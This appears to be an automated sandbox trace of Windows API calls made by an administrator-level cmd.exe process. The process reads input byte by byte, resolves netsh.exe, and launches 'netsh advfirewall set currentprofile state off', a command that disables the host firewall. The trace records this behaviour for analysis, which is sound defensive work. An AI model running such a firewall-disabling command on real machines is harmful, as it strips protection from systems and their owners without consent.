	[0069.438] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7acb59970, cbMultiByte=1, lpWideCharStr=0x7ff7acb63c72, cchWideChar=1 | out: lpWideCharStr="i") returned 1
	[0069.438] _get_osfhandle (_FileHandle=0) returned 0x2a4
	[0069.438] SetFilePointer (in: hFile=0x2a4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0069.438] ReadFile (in: hFile=0x2a4, lpBuffer=0x7ff7acb59970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1310cff6b8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7acb59970*, lpNumberOfBytesRead=0x1310cff6b8*=0x1, lpOverlapped=0x0) returned 1
	[0069.438] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7acb59970, cbMultiByte=1, lpWideCharStr=0x7ff7acb63c74, cchWideChar=1 | out: lpWideCharStr="l") returned 1
	[0069.438] _get_osfhandle (_FileHandle=0) returned 0x2a4
	[0069.438] SetFilePointer (in: hFile=0x2a4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0069.438] ReadFile (in: hFile=0x2a4, lpBuffer=0x7ff7acb59970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1310cff6b8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7acb59970*, lpNumberOfBytesRead=0x1310cff6b8*=0x1, lpOverlapped=0x0) returned 1
	[0069.438] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7acb59970, cbMultiByte=1, lpWideCharStr=0x7ff7acb63c76, cchWideChar=1 | out: lpWideCharStr="e") returned 1
	[0069.438] _get_osfhandle (_FileHandle=0) returned 0x2a4
	[0069.438] SetFilePointer (in: hFile=0x2a4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0069.438] ReadFile (in: hFile=0x2a4, lpBuffer=0x7ff7acb59970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1310cff6b8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7acb59970*, lpNumberOfBytesRead=0x1310cff6b8*=0x1, lpOverlapped=0x0) returned 1
	[0069.439] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7acb59970, cbMultiByte=1, lpWideCharStr=0x7ff7acb63c78, cchWideChar=1 | out: lpWideCharStr=" ") returned 1
	[0069.439] _get_osfhandle (_FileHandle=0) returned 0x2a4
	[0069.439] SetFilePointer (in: hFile=0x2a4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0069.439] ReadFile (in: hFile=0x2a4, lpBuffer=0x7ff7acb59970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1310cff6b8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7acb59970*, lpNumberOfBytesRead=0x1310cff6b8*=0x1, lpOverlapped=0x0) returned 1
	[0069.439] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7acb59970, cbMultiByte=1, lpWideCharStr=0x7ff7acb63c7a, cchWideChar=1 | out: lpWideCharStr="s") returned 1
	[0069.439] _get_osfhandle (_FileHandle=0) returned 0x2a4
	[0069.439] SetFilePointer (in: hFile=0x2a4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0069.439] ReadFile (in: hFile=0x2a4, lpBuffer=0x7ff7acb59970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1310cff6b8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7acb59970*, lpNumberOfBytesRead=0x1310cff6b8*=0x1, lpOverlapped=0x0) returned 1
	[0069.439] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7acb59970, cbMultiByte=1, lpWideCharStr=0x7ff7acb63c7c, cchWideChar=1 | out: lpWideCharStr="t") returned 1
	[0069.439] _get_osfhandle (_FileHandle=0) returned 0x2a4
	[0069.439] SetFilePointer (in: hFile=0x2a4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0069.439] ReadFile (in: hFile=0x2a4, lpBuffer=0x7ff7acb59970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1310cff6b8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7acb59970*, lpNumberOfBytesRead=0x1310cff6b8*=0x1, lpOverlapped=0x0) returned 1
	[0069.439] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7acb59970, cbMultiByte=1, lpWideCharStr=0x7ff7acb63c7e, cchWideChar=1 | out: lpWideCharStr="a") returned 1
	[0069.439] _get_osfhandle (_FileHandle=0) returned 0x2a4
	[0069.439] SetFilePointer (in: hFile=0x2a4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0069.439] ReadFile (in: hFile=0x2a4, lpBuffer=0x7ff7acb59970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1310cff6b8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7acb59970*, lpNumberOfBytesRead=0x1310cff6b8*=0x1, lpOverlapped=0x0) returned 1
	[0069.439] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7acb59970, cbMultiByte=1, lpWideCharStr=0x7ff7acb63c80, cchWideChar=1 | out: lpWideCharStr="t") returned 1
	[0069.439] _get_osfhandle (_FileHandle=0) returned 0x2a4
	[0069.439] SetFilePointer (in: hFile=0x2a4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0069.439] ReadFile (in: hFile=0x2a4, lpBuffer=0x7ff7acb59970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1310cff6b8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7acb59970*, lpNumberOfBytesRead=0x1310cff6b8*=0x1, lpOverlapped=0x0) returned 1
	[0069.439] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7acb59970, cbMultiByte=1, lpWideCharStr=0x7ff7acb63c82, cchWideChar=1 | out: lpWideCharStr="e") returned 1
	[0069.439] _get_osfhandle (_FileHandle=0) returned 0x2a4
	[0069.439] SetFilePointer (in: hFile=0x2a4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0069.439] ReadFile (in: hFile=0x2a4, lpBuffer=0x7ff7acb59970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1310cff6b8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7acb59970*, lpNumberOfBytesRead=0x1310cff6b8*=0x1, lpOverlapped=0x0) returned 1
	[0069.440] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7acb59970, cbMultiByte=1, lpWideCharStr=0x7ff7acb63c84, cchWideChar=1 | out: lpWideCharStr=" ") returned 1
	[0069.440] _get_osfhandle (_FileHandle=0) returned 0x2a4
	[0069.440] SetFilePointer (in: hFile=0x2a4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0069.440] ReadFile (in: hFile=0x2a4, lpBuffer=0x7ff7acb59970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1310cff6b8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7acb59970*, lpNumberOfBytesRead=0x1310cff6b8*=0x1, lpOverlapped=0x0) returned 1
	[0069.440] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7acb59970, cbMultiByte=1, lpWideCharStr=0x7ff7acb63c86, cchWideChar=1 | out: lpWideCharStr="o") returned 1
	[0069.440] _get_osfhandle (_FileHandle=0) returned 0x2a4
	[0069.440] SetFilePointer (in: hFile=0x2a4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0069.440] ReadFile (in: hFile=0x2a4, lpBuffer=0x7ff7acb59970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1310cff6b8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7acb59970*, lpNumberOfBytesRead=0x1310cff6b8*=0x1, lpOverlapped=0x0) returned 1
	[0069.440] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7acb59970, cbMultiByte=1, lpWideCharStr=0x7ff7acb63c88, cchWideChar=1 | out: lpWideCharStr="f") returned 1
	[0069.440] _get_osfhandle (_FileHandle=0) returned 0x2a4
	[0069.440] SetFilePointer (in: hFile=0x2a4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0069.440] ReadFile (in: hFile=0x2a4, lpBuffer=0x7ff7acb59970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1310cff6b8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7acb59970*, lpNumberOfBytesRead=0x1310cff6b8*=0x1, lpOverlapped=0x0) returned 1
	[0069.440] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7acb59970, cbMultiByte=1, lpWideCharStr=0x7ff7acb63c8a, cchWideChar=1 | out: lpWideCharStr="f") returned 1
	[0069.440] _get_osfhandle (_FileHandle=0) returned 0x2a4
	[0069.440] SetFilePointer (in: hFile=0x2a4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0069.440] ReadFile (in: hFile=0x2a4, lpBuffer=0x7ff7acb59970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1310cff6b8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7acb59970*, lpNumberOfBytesRead=0x1310cff6b8*=0x1, lpOverlapped=0x0) returned 1
	[0069.440] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7acb59970, cbMultiByte=1, lpWideCharStr=0x7ff7acb63c8c, cchWideChar=1 | out: lpWideCharStr="\n") returned 1
	[0069.441] _get_osfhandle (_FileHandle=0) returned 0x2a4
	[0069.441] GetFileType (hFile=0x2a4) returned 0x3
	[0069.441] _get_osfhandle (_FileHandle=0) returned 0x2a4
	[0069.441] SetFilePointer (in: hFile=0x2a4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0069.442] _get_osfhandle (_FileHandle=1) returned 0x2b0
	[0069.442] GetFileType (hFile=0x2b0) returned 0x3
	[0069.442] _get_osfhandle (_FileHandle=1) returned 0x2b0
	[0069.442] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="netsh advfirewall set currentprofile state off\n", cchWideChar=-1, lpMultiByteStr=0x7ff7acb59970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="netsh advfirewall set currentprofile state off\n", lpUsedDefaultChar=0x0) returned 48
	[0069.442] WriteFile (in: hFile=0x2b0, lpBuffer=0x7ff7acb59970*, nNumberOfBytesToWrite=0x2f, lpNumberOfBytesWritten=0x1310cff658, lpOverlapped=0x0 | out: lpBuffer=0x7ff7acb59970*, lpNumberOfBytesWritten=0x1310cff658*=0x2f, lpOverlapped=0x0) returned 1
	[0069.442] GetProcessHeap () returned 0x17accda0000
	[0069.442] RtlAllocateHeap (HeapHandle=0x17accda0000, Flags=0x8, Size=0x4012) returned 0x17accda8fe0
	[0069.442] GetProcessHeap () returned 0x17accda0000
	[0069.442] RtlFreeHeap (HeapHandle=0x17accda0000, Flags=0x0, BaseAddress=0x17accda8fe0) returned 1
	[0069.466] _wcsicmp (_String1="netsh", _String2=")") returned 69
	[0069.466] _wcsicmp (_String1="FOR", _String2="netsh") returned -8
	[0069.466] _wcsicmp (_String1="FOR/?", _String2="netsh") returned -8
	[0069.466] _wcsicmp (_String1="IF", _String2="netsh") returned -5
	[0069.466] _wcsicmp (_String1="IF/?", _String2="netsh") returned -5
	[0069.466] _wcsicmp (_String1="REM", _String2="netsh") returned 4
	[0069.466] _wcsicmp (_String1="REM/?", _String2="netsh") returned 4
	[0069.466] GetProcessHeap () returned 0x17accda0000
	[0069.466] RtlAllocateHeap (HeapHandle=0x17accda0000, Flags=0x8, Size=0xb0) returned 0x17accda8320
	[0069.467] GetProcessHeap () returned 0x17accda0000
	[0069.467] RtlAllocateHeap (HeapHandle=0x17accda0000, Flags=0x8, Size=0x1c) returned 0x17accda6a80
	[0069.467] GetProcessHeap () returned 0x17accda0000
	[0069.467] RtlAllocateHeap (HeapHandle=0x17accda0000, Flags=0x8, Size=0x64) returned 0x17accda1850
	[0069.468] GetConsoleOutputCP () returned 0x1b5
	[0070.007] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff7acb5fbb0 | out: lpCPInfo=0x7ff7acb5fbb0) returned 1
	[0070.007] SetThreadUILanguage (LangId=0x0) returned 0x409
	[0070.065] GetConsoleTitleW (in: lpConsoleTitle=0x1310cff4a0, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe") returned 0x2b
	[0070.069] malloc (_Size=0xffce) returned 0x17acccc0840
	[0070.069] ??_V@YAXPEAX@Z () returned 0x17acccc0840
	[0070.069] malloc (_Size=0xffce) returned 0x17acccd0820
	[0070.070] ??_V@YAXPEAX@Z () returned 0x17acccd0820
	[0070.070] _wcsicmp (_String1="netsh", _String2="DIR") returned 10
	[0070.070] _wcsicmp (_String1="netsh", _String2="ERASE") returned 9
	[0070.070] _wcsicmp (_String1="netsh", _String2="DEL") returned 10
	[0070.070] _wcsicmp (_String1="netsh", _String2="TYPE") returned -6
	[0070.070] _wcsicmp (_String1="netsh", _String2="COPY") returned 11
	[0070.071] _wcsicmp (_String1="netsh", _String2="CD") returned 11
	[0070.071] _wcsicmp (_String1="netsh", _String2="CHDIR") returned 11
	[0070.071] _wcsicmp (_String1="netsh", _String2="RENAME") returned -4
	[0070.071] _wcsicmp (_String1="netsh", _String2="REN") returned -4
	[0070.071] _wcsicmp (_String1="netsh", _String2="ECHO") returned 9
	[0070.071] _wcsicmp (_String1="netsh", _String2="SET") returned -5
	[0070.071] _wcsicmp (_String1="netsh", _String2="PAUSE") returned -2
	[0070.071] _wcsicmp (_String1="netsh", _String2="DATE") returned 10
	[0070.071] _wcsicmp (_String1="netsh", _String2="TIME") returned -6
	[0070.071] _wcsicmp (_String1="netsh", _String2="PROMPT") returned -2
	[0070.071] _wcsicmp (_String1="netsh", _String2="MD") returned 1
	[0070.071] _wcsicmp (_String1="netsh", _String2="MKDIR") returned 1
	[0070.071] _wcsicmp (_String1="netsh", _String2="RD") returned -4
	[0070.071] _wcsicmp (_String1="netsh", _String2="RMDIR") returned -4
	[0070.071] _wcsicmp (_String1="netsh", _String2="PATH") returned -2
	[0070.071] _wcsicmp (_String1="netsh", _String2="GOTO") returned 7
	[0070.071] _wcsicmp (_String1="netsh", _String2="SHIFT") returned -5
	[0070.071] _wcsicmp (_String1="netsh", _String2="CLS") returned 11
	[0070.072] _wcsicmp (_String1="netsh", _String2="CALL") returned 11
	[0070.072] _wcsicmp (_String1="netsh", _String2="VERIFY") returned -8
	[0070.072] _wcsicmp (_String1="netsh", _String2="VER") returned -8
	[0070.072] _wcsicmp (_String1="netsh", _String2="VOL") returned -8
	[0070.072] _wcsicmp (_String1="netsh", _String2="EXIT") returned 9
	[0070.072] _wcsicmp (_String1="netsh", _String2="SETLOCAL") returned -5
	[0070.072] _wcsicmp (_String1="netsh", _String2="ENDLOCAL") returned 9
	[0070.072] _wcsicmp (_String1="netsh", _String2="TITLE") returned -6
	[0070.072] _wcsicmp (_String1="netsh", _String2="START") returned -5
	[0070.072] _wcsicmp (_String1="netsh", _String2="DPATH") returned 10
	[0070.072] _wcsicmp (_String1="netsh", _String2="KEYS") returned 3
	[0070.072] _wcsicmp (_String1="netsh", _String2="MOVE") returned 1
	[0070.072] _wcsicmp (_String1="netsh", _String2="PUSHD") returned -2
	[0070.072] _wcsicmp (_String1="netsh", _String2="POPD") returned -2
	[0070.072] _wcsicmp (_String1="netsh", _String2="ASSOC") returned 13
	[0070.072] _wcsicmp (_String1="netsh", _String2="FTYPE") returned 8
	[0070.072] _wcsicmp (_String1="netsh", _String2="BREAK") returned 12
	[0070.072] _wcsicmp (_String1="netsh", _String2="COLOR") returned 11
	[0070.072] _wcsicmp (_String1="netsh", _String2="MKLINK") returned 1
	[0070.073] _wcsicmp (_String1="netsh", _String2="DIR") returned 10
	[0070.073] _wcsicmp (_String1="netsh", _String2="ERASE") returned 9
	[0070.073] _wcsicmp (_String1="netsh", _String2="DEL") returned 10
	[0070.073] _wcsicmp (_String1="netsh", _String2="TYPE") returned -6
	[0070.073] _wcsicmp (_String1="netsh", _String2="COPY") returned 11
	[0070.073] _wcsicmp (_String1="netsh", _String2="CD") returned 11
	[0070.073] _wcsicmp (_String1="netsh", _String2="CHDIR") returned 11
	[0070.073] _wcsicmp (_String1="netsh", _String2="RENAME") returned -4
	[0070.073] _wcsicmp (_String1="netsh", _String2="REN") returned -4
	[0070.073] _wcsicmp (_String1="netsh", _String2="ECHO") returned 9
	[0070.073] _wcsicmp (_String1="netsh", _String2="SET") returned -5
	[0070.073] _wcsicmp (_String1="netsh", _String2="PAUSE") returned -2
	[0070.073] _wcsicmp (_String1="netsh", _String2="DATE") returned 10
	[0070.073] _wcsicmp (_String1="netsh", _String2="TIME") returned -6
	[0070.073] _wcsicmp (_String1="netsh", _String2="PROMPT") returned -2
	[0070.073] _wcsicmp (_String1="netsh", _String2="MD") returned 1
	[0070.073] _wcsicmp (_String1="netsh", _String2="MKDIR") returned 1
	[0070.073] _wcsicmp (_String1="netsh", _String2="RD") returned -4
	[0070.073] _wcsicmp (_String1="netsh", _String2="RMDIR") returned -4
	[0070.073] _wcsicmp (_String1="netsh", _String2="PATH") returned -2
	[0070.074] _wcsicmp (_String1="netsh", _String2="GOTO") returned 7
	[0070.074] _wcsicmp (_String1="netsh", _String2="SHIFT") returned -5
	[0070.074] _wcsicmp (_String1="netsh", _String2="CLS") returned 11
	[0070.074] _wcsicmp (_String1="netsh", _String2="CALL") returned 11
	[0070.074] _wcsicmp (_String1="netsh", _String2="VERIFY") returned -8
	[0070.074] _wcsicmp (_String1="netsh", _String2="VER") returned -8
	[0070.074] _wcsicmp (_String1="netsh", _String2="VOL") returned -8
	[0070.074] _wcsicmp (_String1="netsh", _String2="EXIT") returned 9
	[0070.074] _wcsicmp (_String1="netsh", _String2="SETLOCAL") returned -5
	[0070.074] _wcsicmp (_String1="netsh", _String2="ENDLOCAL") returned 9
	[0070.074] _wcsicmp (_String1="netsh", _String2="TITLE") returned -6
	[0070.074] _wcsicmp (_String1="netsh", _String2="START") returned -5
	[0070.074] _wcsicmp (_String1="netsh", _String2="DPATH") returned 10
	[0070.074] _wcsicmp (_String1="netsh", _String2="KEYS") returned 3
	[0070.074] _wcsicmp (_String1="netsh", _String2="MOVE") returned 1
	[0070.074] _wcsicmp (_String1="netsh", _String2="PUSHD") returned -2
	[0070.074] _wcsicmp (_String1="netsh", _String2="POPD") returned -2
	[0070.074] _wcsicmp (_String1="netsh", _String2="ASSOC") returned 13
	[0070.074] _wcsicmp (_String1="netsh", _String2="FTYPE") returned 8
	[0070.074] _wcsicmp (_String1="netsh", _String2="BREAK") returned 12
	[0070.075] _wcsicmp (_String1="netsh", _String2="COLOR") returned 11
	[0070.075] _wcsicmp (_String1="netsh", _String2="MKLINK") returned 1
	[0070.075] _wcsicmp (_String1="netsh", _String2="FOR") returned 8
	[0070.075] _wcsicmp (_String1="netsh", _String2="IF") returned 5
	[0070.075] _wcsicmp (_String1="netsh", _String2="REM") returned -4
	[0070.075] ??_V@YAXPEAX@Z () returned 0x1
	[0070.075] GetProcessHeap () returned 0x17accda0000
	[0070.075] RtlAllocateHeap (HeapHandle=0x17accda0000, Flags=0x8, Size=0xffde) returned 0x17accda8fe0
	[0070.076] GetProcessHeap () returned 0x17accda0000
	[0070.076] RtlAllocateHeap (HeapHandle=0x17accda0000, Flags=0x8, Size=0x70) returned 0x17accda83e0
	[0070.076] _wcsnicmp (_String1="nets", _String2="cmd ", _MaxCount=0x4) returned 11
	[0070.076] malloc (_Size=0xffce) returned 0x17acccd0820
	[0070.076] ??_V@YAXPEAX@Z () returned 0x17acccd0820
	[0070.076] GetProcessHeap () returned 0x17accda0000
	[0070.076] RtlAllocateHeap (HeapHandle=0x17accda0000, Flags=0x8, Size=0x1ffac) returned 0x17accdb8fd0
	[0070.079] SetErrorMode (uMode=0x0) returned 0x0
	[0070.079] SetErrorMode (uMode=0x1) returned 0x0
	[0070.079] GetFullPathNameW (in: lpFileName=".", nBufferLength=0xffce, lpBuffer=0x17accdb8fe0, lpFilePart=0x1310cfed20 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop", lpFilePart=0x1310cfed20*="Desktop") returned 0x17
	[0070.079] SetErrorMode (uMode=0x0) returned 0x1
	[0070.079] GetProcessHeap () returned 0x17accda0000
	[0070.079] RtlReAllocateHeap (Heap=0x17accda0000, Flags=0x0, Ptr=0x17accdb8fd0, Size=0x4c) returned 0x17accdb8fd0
	[0070.079] GetProcessHeap () returned 0x17accda0000
	[0070.079] RtlSizeHeap (HeapHandle=0x17accda0000, Flags=0x0, MemoryPointer=0x17accdb8fd0) returned 0x4c
	[0070.079] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff7acb5bb90, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb
	[0070.079] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1
	[0070.079] GetProcessHeap () returned 0x17accda0000
	[0070.079] RtlAllocateHeap (HeapHandle=0x17accda0000, Flags=0x8, Size=0x1bc) returned 0x17accda6c30
	[0070.079] GetProcessHeap () returned 0x17accda0000
	[0070.079] RtlAllocateHeap (HeapHandle=0x17accda0000, Flags=0x8, Size=0x368) returned 0x17accdb9030
	[0070.090] GetProcessHeap () returned 0x17accda0000
	[0070.090] RtlReAllocateHeap (Heap=0x17accda0000, Flags=0x0, Ptr=0x17accdb9030, Size=0x1be) returned 0x17accdb9030
	[0070.090] GetProcessHeap () returned 0x17accda0000
	[0070.090] RtlSizeHeap (HeapHandle=0x17accda0000, Flags=0x0, MemoryPointer=0x17accdb9030) returned 0x1be
	[0070.090] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff7acb5bb90, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0070.090] GetProcessHeap () returned 0x17accda0000
	[0070.090] RtlAllocateHeap (HeapHandle=0x17accda0000, Flags=0x8, Size=0xe8) returned 0x17accda6e00
	[0070.092] GetProcessHeap () returned 0x17accda0000
	[0070.092] RtlReAllocateHeap (Heap=0x17accda0000, Flags=0x0, Ptr=0x17accda6e00, Size=0x7e) returned 0x17accda6e00
	[0070.092] GetProcessHeap () returned 0x17accda0000
	[0070.092] RtlSizeHeap (HeapHandle=0x17accda0000, Flags=0x0, MemoryPointer=0x17accda6e00) returned 0x7e
	[0070.092] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0070.092] FindFirstFileExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\netsh.*", fInfoLevelId=0x1, lpFindFileData=0x1310cfea90, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1310cfea90) returned 0xffffffffffffffff
	[0070.093] GetLastError () returned 0x2
	[0070.093] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0070.093] FindFirstFileExW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\netsh.*", fInfoLevelId=0x1, lpFindFileData=0x1310cfea90, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1310cfea90) returned 0xffffffffffffffff
	[0070.096] GetLastError () returned 0x2
	[0070.096] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0070.096] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\netsh.*", fInfoLevelId=0x1, lpFindFileData=0x1310cfea90, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1310cfea90) returned 0x17accda6e90
	[0070.096] GetProcessHeap () returned 0x17accda0000
	[0070.096] RtlAllocateHeap (HeapHandle=0x17accda0000, Flags=0x0, Size=0x28) returned 0x17accda6ef0
	[0070.096] FindClose (in: hFindFile=0x17accda6e90 | out: hFindFile=0x17accda6e90) returned 1
	[0070.097] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\netsh.COM", fInfoLevelId=0x1, lpFindFileData=0x1310cfea90, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1310cfea90) returned 0xffffffffffffffff
	[0070.097] GetLastError () returned 0x2
	[0070.097] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\netsh.EXE", fInfoLevelId=0x1, lpFindFileData=0x1310cfea90, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1310cfea90) returned 0x17accda6e90
	[0070.097] GetProcessHeap () returned 0x17accda0000
	[0070.097] RtlReAllocateHeap (Heap=0x17accda0000, Flags=0x0, Ptr=0x17accda6ef0, Size=0x8) returned 0x17accda6ef0
	[0070.097] FindClose (in: hFindFile=0x17accda6e90 | out: hFindFile=0x17accda6e90) returned 1
	[0070.098] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3
	[0070.098] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2
	[0070.098] ??_V@YAXPEAX@Z () returned 0x1
	[0070.098] GetConsoleTitleW (in: lpConsoleTitle=0x1310cff010, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe") returned 0x2b
	[0070.130] GetProcessHeap () returned 0x17accda0000
	[0070.130] RtlAllocateHeap (HeapHandle=0x17accda0000, Flags=0x8, Size=0x21c) returned 0x17accdb9200
	[0070.130] GetConsoleTitleW (in: lpConsoleTitle=0x17accdb9210, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe") returned 0x2b
	[0070.133] GetProcessHeap () returned 0x17accda0000
	[0070.133] RtlReAllocateHeap (Heap=0x17accda0000, Flags=0x0, Ptr=0x17accdb9200, Size=0xd8) returned 0x17accdb9200
	[0070.133] GetProcessHeap () returned 0x17accda0000
	[0070.133] RtlSizeHeap (HeapHandle=0x17accda0000, Flags=0x0, MemoryPointer=0x17accdb9200) returned 0xd8
	[0070.133] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe - netsh  advfirewall set currentprofile state off") returned 1
	[0070.137] GetProcessHeap () returned 0x17accda0000
	[0070.137] RtlFreeHeap (HeapHandle=0x17accda0000, Flags=0x0, BaseAddress=0x17accdb9200) returned 1
	[0070.137] InitializeProcThreadAttributeList (in: lpAttributeList=0x1310cfef30, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x1310cfee20 | out: lpAttributeList=0x1310cfef30, lpSize=0x1310cfee20) returned 1
	[0070.137] UpdateProcThreadAttribute (in: lpAttributeList=0x1310cfef30, dwFlags=0x0, Attribute=0x60001, lpValue=0x1310cfee0c, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x1310cfef30, lpPreviousValue=0x0) returned 1
	[0070.137] GetStartupInfoW (in: lpStartupInfo=0x1310cfeec0 | out: lpStartupInfo=0x1310cfeec0*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\WINDOWS\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x2a4, hStdOutput=0x2b0, hStdError=0x2b0)) 
	[0070.137] GetProcessHeap () returned 0x17accda0000
	[0070.137] RtlAllocateHeap (HeapHandle=0x17accda0000, Flags=0x8, Size=0x20) returned 0x17accda6e90
	[0070.138] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38
